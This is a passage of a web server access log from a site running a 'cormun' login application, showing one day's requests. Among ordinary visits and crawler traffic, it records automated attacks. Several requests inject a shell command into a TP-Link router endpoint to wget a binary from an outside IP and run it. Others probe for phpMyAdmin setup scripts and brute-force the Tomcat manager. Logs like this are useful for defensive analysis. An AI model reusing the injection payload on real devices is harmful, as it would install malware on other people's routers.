45.142.182.92 - - [27/Apr/2024:00:22:02 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 66.249.66.3 - - [27/Apr/2024:00:56:45 -0300] "GET /robots.txt HTTP/1.1" 404 981 66.249.66.3 - - [27/Apr/2024:00:56:45 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1717 66.249.66.1 - - [27/Apr/2024:00:56:48 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 66.249.66.1 - - [27/Apr/2024:00:56:48 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 66.249.66.1 - - [27/Apr/2024:00:56:49 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 66.249.66.1 - - [27/Apr/2024:00:56:49 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 66.249.66.1 - - [27/Apr/2024:00:56:50 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 66.249.66.1 - - [27/Apr/2024:00:56:50 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 66.249.66.1 - - [27/Apr/2024:00:56:54 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 179.43.190.218 - - [27/Apr/2024:01:56:20 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.163.214.97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1" 404 1013 137.184.228.8 - - [27/Apr/2024:02:15:19 -0300] "GET /manager/html HTTP/1.1" 401 2474 45.142.182.92 - - [27/Apr/2024:02:32:46 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 162.216.150.133 - - [27/Apr/2024:02:52:23 -0300] "GET / HTTP/1.1" 200 11217 174.138.2.203 - - [27/Apr/2024:03:17:15 -0300] "GET /tomcat.jsp HTTP/1.1" 404 981 174.138.2.203 - - [27/Apr/2024:03:17:16 -0300] "GET /dr/tomcat.jsp HTTP/1.1" 404 987 45.140.19.230 - - [27/Apr/2024:06:09:27 -0300] "GET / HTTP/1.1" 200 11217 117.255.207.116 - - [27/Apr/2024:06:09:33 -0300] "GET / HTTP/1.1" 200 11217 188.12.210.47 - - [27/Apr/2024:06:38:33 -0300] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 - 179.43.190.218 - - [27/Apr/2024:07:20:02 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.163.214.97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1" 404 1013 213.180.203.97 - - [27/Apr/2024:07:46:59 -0300] "GET /robots.txt HTTP/1.1" 404 981 95.108.213.196 - - [27/Apr/2024:07:47:00 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 81.70.232.54 - - [27/Apr/2024:08:14:51 -0300] "GET /phpMyAdmin/scripts/setup.php HTTP/1.0" 404 1017 81.70.232.54 - - [27/Apr/2024:08:14:52 -0300] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 1017 81.70.232.54 - - [27/Apr/2024:08:14:52 -0300] "GET /phpMyAdmin-2.11.4/scripts/setup.php HTTP/1.0" 404 1031 81.70.232.54 - - [27/Apr/2024:08:14:53 -0300] "GET /phpMyAdmin-2.11.3/scripts/setup.php HTTP/1.0" 404 1031 81.70.232.54 - - [27/Apr/2024:08:14:55 -0300] "GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0" 404 1035 81.70.232.54 - - [27/Apr/2024:08:14:55 -0300] "GET /phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0" 404 1031 81.70.232.54 - - [27/Apr/2024:08:14:56 -0300] "GET /phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.0" 404 1033 81.70.232.54 - - [27/Apr/2024:08:14:56 -0300] "GET /phpMyAdmin-2.10.2/scripts/setup.php HTTP/1.0" 404 1031 81.70.232.54 - - [27/Apr/2024:08:15:00 -0300] "GET /phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0" 404 1035 81.70.232.54 - - [27/Apr/2024:08:15:01 -0300] "GET /phpMyAdmin-2.11.0/scripts/setup.php HTTP/1.0" 404 1031 81.70.232.54 - - [27/Apr/2024:08:15:01 -0300] "GET /phpMyAdmin-2.11.7/scripts/setup.php HTTP/1.0" 404 1031 81.70.232.54 - - [27/Apr/2024:08:15:02 -0300] "GET /phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.0" 404 1035 81.70.232.54 - - [27/Apr/2024:08:15:02 -0300] "GET /pma/scripts/setup.php HTTP/1.0" 404 1003 81.70.232.54 - - [27/Apr/2024:08:15:03 -0300] "GET /phpMyAdmin3/scripts/setup.php HTTP/1.0" 404 1019 81.70.232.54 - - [27/Apr/2024:08:15:04 -0300] "GET /myadmin/scripts/setup.php HTTP/1.0" 404 1011 81.70.232.54 - - [27/Apr/2024:08:15:04 -0300] "GET /MyAdmin/scripts/setup.php HTTP/1.0" 404 1011 81.70.232.54 - - [27/Apr/2024:08:15:05 -0300] "GET /PHPMYADMIN/scripts/setup.php HTTP/1.0" 404 1017 81.70.232.54 - - [27/Apr/2024:08:15:05 -0300] "GET /mysqladmin/scripts/setup.php HTTP/1.0" 404 1017 81.70.232.54 - - [27/Apr/2024:08:15:06 -0300] "GET /SQL/scripts/setup.php HTTP/1.0" 404 1003 81.70.232.54 - - [27/Apr/2024:08:15:08 -0300] "GET /phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0" 404 1037 81.70.232.54 - - [27/Apr/2024:08:15:08 -0300] "GET /phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0" 404 1029 81.70.232.54 - - [27/Apr/2024:08:15:09 -0300] "GET /phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.0" 404 1029 81.70.232.54 - - [27/Apr/2024:08:15:12 -0300] "GET /phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0" 404 1037 81.70.232.54 - - [27/Apr/2024:08:15:13 -0300] "GET /admin/pma/scripts/setup.php HTTP/1.0" 404 1015 81.70.232.54 - - [27/Apr/2024:08:15:14 -0300] "GET /phpMyAdmin-2/scripts/setup.php HTTP/1.0" 404 1021 81.70.232.54 - - [27/Apr/2024:08:15:14 -0300] "GET /web/phpMyAdmin/scripts/setup.php HTTP/1.0" 404 1025 81.70.232.54 - - [27/Apr/2024:08:15:15 -0300] "GET /webadmin/scripts/setup.php HTTP/1.0" 404 1013 81.70.232.54 - - [27/Apr/2024:08:15:18 -0300] "GET /admin/scripts/setup.php HTTP/1.0" 404 1007 81.70.232.54 - - [27/Apr/2024:08:15:19 -0300] "GET /dbadmin/scripts/setup.php HTTP/1.0" 404 1011 81.70.232.54 - - [27/Apr/2024:08:15:29 -0300] "GET /phpMyAdmin2/scripts/setup.php HTTP/1.0" 404 1019 81.70.232.54 - - [27/Apr/2024:08:15:29 -0300] "GET /phpma/scripts/setup.php HTTP/1.0" 404 1007 81.70.232.54 - - [27/Apr/2024:08:15:30 -0300] "GET /sqlweb/scripts/setup.php HTTP/1.0" 404 1009 81.70.232.54 - - [27/Apr/2024:08:15:30 -0300] "GET /webdb/scripts/setup.php HTTP/1.0" 404 1007 81.70.232.54 - - [27/Apr/2024:08:15:32 -0300] "GET /websql/scripts/setup.php HTTP/1.0" 404 1009 81.70.232.54 - - [27/Apr/2024:08:15:33 -0300] "GET /_phpMyAdmin/scripts/setup.php HTTP/1.0" 404 1019 81.70.232.54 - - [27/Apr/2024:08:15:33 -0300] "GET /php/scripts/setup.php HTTP/1.0" 404 1003 81.70.232.54 - - [27/Apr/2024:08:15:37 -0300] "GET /admin/phpmyadmin/scripts/setup.txt HTTP/1.0" 404 1029 81.70.232.54 - - [27/Apr/2024:08:15:37 -0300] "GET /db/scripts/setup.php HTTP/1.0" 404 1001 81.70.232.54 - - [27/Apr/2024:08:15:38 -0300] "GET /sqlmanager/scripts/setup.php HTTP/1.0" 404 1017 81.70.232.54 - - [27/Apr/2024:08:15:39 -0300] "GET /mysqlmanager/scripts/setup.php HTTP/1.0" 404 1021 81.70.232.54 - - [27/Apr/2024:08:15:39 -0300] "GET /phpmanager/scripts/setup.php HTTP/1.0" 404 1017 81.70.232.54 - - [27/Apr/2024:08:15:40 -0300] "GET /php-myadmin/scripts/setup.php HTTP/1.0" 404 1019 81.70.232.54 - - [27/Apr/2024:08:15:40 -0300] "GET /phpmy-admin/scripts/setup.php HTTP/1.0" 404 1019 81.70.232.54 - - [27/Apr/2024:08:15:44 -0300] "GET /mysql-admin/scripts/setup.php HTTP/1.0" 404 1019 45.142.182.92 - - [27/Apr/2024:08:17:18 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 137.184.228.8 - - [27/Apr/2024:08:32:38 -0300] "GET /is_test HTTP/1.1" 404 975 78.108.177.54 - - [27/Apr/2024:08:57:07 -0300] "GET / HTTP/1.0" 200 11197 137.184.228.8 - - [27/Apr/2024:09:29:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:17 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:17 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:17 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:18 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:18 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:18 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:18 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:19 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:19 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:19 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:20 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:20 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:20 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:20 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:21 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:21 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:21 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - tomcat [27/Apr/2024:09:29:23 -0300] "GET /manager/html HTTP/1.1" 403 3196 137.184.228.8 - - [27/Apr/2024:09:29:23 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:23 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:25 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:25 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:25 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:27 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:27 -0300] "GET /manager/html HTTP/1.1" 401 2474 137.184.228.8 - - [27/Apr/2024:09:29:27 -0300] "GET /manager/html HTTP/1.1" 401 2474 173.252.83.26 - - [27/Apr/2024:09:33:38 -0300] "GET /robots.txt HTTP/1.1" 404 981 69.63.184.17 - - [27/Apr/2024:09:33:39 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 5104 198.235.24.31 - - [27/Apr/2024:09:39:12 -0300] "GET / HTTP/1.0" 200 11197 15.204.52.61 - - [27/Apr/2024:09:48:32 -0300] "GET / HTTP/1.1" 200 11217 213.32.39.42 - - [27/Apr/2024:09:52:50 -0300] "GET / HTTP/1.1" 200 11217 45.142.182.92 - - [27/Apr/2024:10:02:42 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 5.196.102.66 - - [27/Apr/2024:11:07:37 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 181.212.47.137 - - [27/Apr/2024:11:36:39 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1711 181.212.47.137 - - [27/Apr/2024:11:36:40 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1722 181.212.47.137 - - [27/Apr/2024:11:36:44 -0300] "POST /cormun/servlet/hlogin?aed811fe80474db460f1a8c25e50b920,gx-no-cache=1714228498390 HTTP/1.1" 200 90 181.212.47.137 - - [27/Apr/2024:11:36:44 -0300] "GET /cormun/servlet/hpexe_link HTTP/1.1" 200 941 181.212.47.137 - - [27/Apr/2024:11:36:44 -0300] "GET /cormun/servlet/hhome HTTP/1.1" 200 3810 181.212.47.137 - - [27/Apr/2024:11:36:49 -0300] "GET /cormun/servlet/trsolicitudgral? HTTP/1.1" 200 28318 181.212.47.137 - - [27/Apr/2024:11:36:56 -0300] "POST /cormun/servlet/trsolicitudgral?aed811fe80474db460f1a8c25e50b920,,gx-no-cache=1714228510794 HTTP/1.1" 200 6630 181.212.47.137 - - [27/Apr/2024:11:37:06 -0300] "POST /cormun/servlet/trsolicitudgral?aed811fe80474db460f1a8c25e50b920,,gx-no-cache=1714228519998 HTTP/1.1" 200 7800 181.212.47.137 - - [27/Apr/2024:11:59:09 -0300] "POST /cormun/servlet/trsolicitudgral?aed811fe80474db460f1a8c25e50b920,,gx-no-cache=1714229842993 HTTP/1.1" 200 10737 181.212.47.137 - - [27/Apr/2024:11:59:22 -0300] "POST /cormun/servlet/trsolicitudgral?aed811fe80474db460f1a8c25e50b920,,gx-no-cache=1714229856121 HTTP/1.1" 200 6680 181.212.47.137 - - [27/Apr/2024:11:59:25 -0300] "GET /cormun/servlet/vesolicitudgral?2024,21296,, HTTP/1.1" 200 8449 181.212.47.137 - - [27/Apr/2024:11:59:25 -0300] "GET /cormun/pexe_scrolldiv.js HTTP/1.1" 404 1009 181.212.47.137 - - [27/Apr/2024:11:59:47 -0300] "GET /cormun/servlet/trsolicitudgral? HTTP/1.1" 200 9741 181.212.47.137 - - [27/Apr/2024:11:59:56 -0300] "POST /cormun/servlet/trsolicitudgral?aed811fe80474db460f1a8c25e50b920,,gx-no-cache=1714229889993 HTTP/1.1" 200 6634 88.30.2.33 - - [27/Apr/2024:12:21:37 -0300] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 - 180.149.125.168 - - [27/Apr/2024:13:03:28 -0300] "GET / HTTP/1.1" 200 11217 79.61.250.112 - - [27/Apr/2024:14:35:13 -0300] "GET / HTTP/1.0" 200 11197 186.11.11.28 - - [27/Apr/2024:14:54:48 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1765 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxtypesSD.js?85251 HTTP/1.1" 200 24551 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxfxSD.js?85251 HTTP/1.1" 200 15384 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxhtmlSD.js?85251 HTTP/1.1" 200 50424 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxapiSD.js?85251 HTTP/1.1" 200 78773 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxpopupSD.js?85251 HTTP/1.1" 200 22377 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxgridSD.js?85251 HTTP/1.1" 200 50735 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxgralSD.js?85251 HTTP/1.1" 200 20927 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/rijndaelSD.js?85251 HTTP/1.1" 200 6763 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxcfg.js?85251 HTTP/1.1" 200 953 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/JavaScripTableSD.js?85251 HTTP/1.1" 200 25100 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/gxfrmutlSD.js?85251 HTTP/1.1" 200 89044 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1777 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 186.11.11.28 - - [27/Apr/2024:14:54:49 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 186.11.11.28 - - [27/Apr/2024:14:54:57 -0300] "POST /cormun/servlet/hlogin?3a9699b802e467f1e0dec5997ae8bb46,gx-no-cache=1714240381321 HTTP/1.1" 200 444 35.202.9.133 - - [27/Apr/2024:15:17:25 -0300] "GET / HTTP/1.1" 200 11217 43.225.54.192 - - [27/Apr/2024:15:55:20 -0300] "GET /phpMyAdmin/scripts/setup.php HTTP/1.0" 404 1017 43.225.54.192 - - [27/Apr/2024:15:55:20 -0300] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 1017 43.225.54.192 - - [27/Apr/2024:15:55:21 -0300] "GET /phpMyAdmin-2.11.4/scripts/setup.php HTTP/1.0" 404 1031 43.225.54.192 - - [27/Apr/2024:15:55:22 -0300] "GET /phpMyAdmin-2.11.3/scripts/setup.php HTTP/1.0" 404 1031 43.225.54.192 - - [27/Apr/2024:15:55:22 -0300] "GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0" 404 1035 43.225.54.192 - - [27/Apr/2024:15:55:23 -0300] "GET /phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0" 404 1031 43.225.54.192 - - [27/Apr/2024:15:55:23 -0300] "GET /phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.0" 404 1033 43.225.54.192 - - [27/Apr/2024:15:55:24 -0300] "GET /phpMyAdmin-2.10.2/scripts/setup.php HTTP/1.0" 404 1031 43.225.54.192 - - [27/Apr/2024:15:55:25 -0300] "GET /phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0" 404 1035 43.225.54.192 - - [27/Apr/2024:15:55:25 -0300] "GET /phpMyAdmin-2.11.0/scripts/setup.php HTTP/1.0" 404 1031 43.225.54.192 - - [27/Apr/2024:15:55:26 -0300] "GET /phpMyAdmin-2.11.7/scripts/setup.php HTTP/1.0" 404 1031 43.225.54.192 - - [27/Apr/2024:15:55:27 -0300] "GET /phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.0" 404 1035 43.225.54.192 - - [27/Apr/2024:15:55:27 -0300] "GET /pma/scripts/setup.php HTTP/1.0" 404 1003 43.225.54.192 - - [27/Apr/2024:15:55:28 -0300] "GET /phpMyAdmin3/scripts/setup.php HTTP/1.0" 404 1019 43.225.54.192 - - [27/Apr/2024:15:55:29 -0300] "GET /myadmin/scripts/setup.php HTTP/1.0" 404 1011 43.225.54.192 - - [27/Apr/2024:15:55:29 -0300] "GET /MyAdmin/scripts/setup.php HTTP/1.0" 404 1011 43.225.54.192 - - [27/Apr/2024:15:55:30 -0300] "GET /PHPMYADMIN/scripts/setup.php HTTP/1.0" 404 1017 43.225.54.192 - - [27/Apr/2024:15:55:31 -0300] "GET /mysqladmin/scripts/setup.php HTTP/1.0" 404 1017 43.225.54.192 - - [27/Apr/2024:15:55:31 -0300] "GET /SQL/scripts/setup.php HTTP/1.0" 404 1003 43.225.54.192 - - [27/Apr/2024:15:55:32 -0300] "GET /phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0" 404 1037 43.225.54.192 - - [27/Apr/2024:15:55:33 -0300] "GET /phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0" 404 1029 43.225.54.192 - - [27/Apr/2024:15:55:33 -0300] "GET /phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.0" 404 1029 43.225.54.192 - - [27/Apr/2024:15:55:34 -0300] "GET /phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0" 404 1037 43.225.54.192 - - [27/Apr/2024:15:55:35 -0300] "GET /admin/pma/scripts/setup.php HTTP/1.0" 404 1015 43.225.54.192 - - [27/Apr/2024:15:55:35 -0300] "GET /phpMyAdmin-2/scripts/setup.php HTTP/1.0" 404 1021 43.225.54.192 - - [27/Apr/2024:15:55:36 -0300] "GET /web/phpMyAdmin/scripts/setup.php HTTP/1.0" 404 1025 43.225.54.192 - - [27/Apr/2024:15:55:37 -0300] "GET /webadmin/scripts/setup.php HTTP/1.0" 404 1013 43.225.54.192 - - [27/Apr/2024:15:55:37 -0300] "GET /admin/scripts/setup.php HTTP/1.0" 404 1007 43.225.54.192 - - [27/Apr/2024:15:55:38 -0300] "GET /dbadmin/scripts/setup.php HTTP/1.0" 404 1011 43.225.54.192 - - [27/Apr/2024:15:55:39 -0300] "GET /mysql/scripts/setup.php HTTP/1.0" 404 1007 43.225.54.192 - - [27/Apr/2024:15:55:39 -0300] "GET /phpMyAdmin2/scripts/setup.php HTTP/1.0" 404 1019 43.225.54.192 - - [27/Apr/2024:15:55:40 -0300] "GET /phpma/scripts/setup.php HTTP/1.0" 404 1007 43.225.54.192 - - [27/Apr/2024:15:55:40 -0300] "GET /sqlweb/scripts/setup.php HTTP/1.0" 404 1009 43.225.54.192 - - [27/Apr/2024:15:55:41 -0300] "GET /webdb/scripts/setup.php HTTP/1.0" 404 1007 209.141.40.117 - - [27/Apr/2024:16:14:33 -0300] "GET /manager/ HTTP/1.1" 302 - 209.141.40.117 - - [27/Apr/2024:16:14:33 -0300] "GET /manager/html;jsessionid=BD2B9ECE7EA7EB1E48A0502DEA2FCB77?org.apache.catalina.filters.CSRF_NONCE=1EB471AF194D39227A256A24CAD405AF HTTP/1.1" 401 2474 205.210.31.69 - - [27/Apr/2024:16:19:43 -0300] "GET / HTTP/1.0" 200 11197 45.142.182.92 - - [27/Apr/2024:16:24:11 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://103.163.214.97/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 1013 185.180.143.138 - - [27/Apr/2024:17:26:13 -0300] "GET /WebInterface/ HTTP/1.1" 404 987 80.75.212.75 - - [27/Apr/2024:17:46:56 -0300] "CONNECT www.google.com:443 HTTP/1.1" 400 - 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1719 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 181.162.188.28 - - [27/Apr/2024:18:10:21 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1730 181.162.188.28 - - [27/Apr/2024:18:10:22 -0300] "GET /cormun/static/Resources/indicator.gif 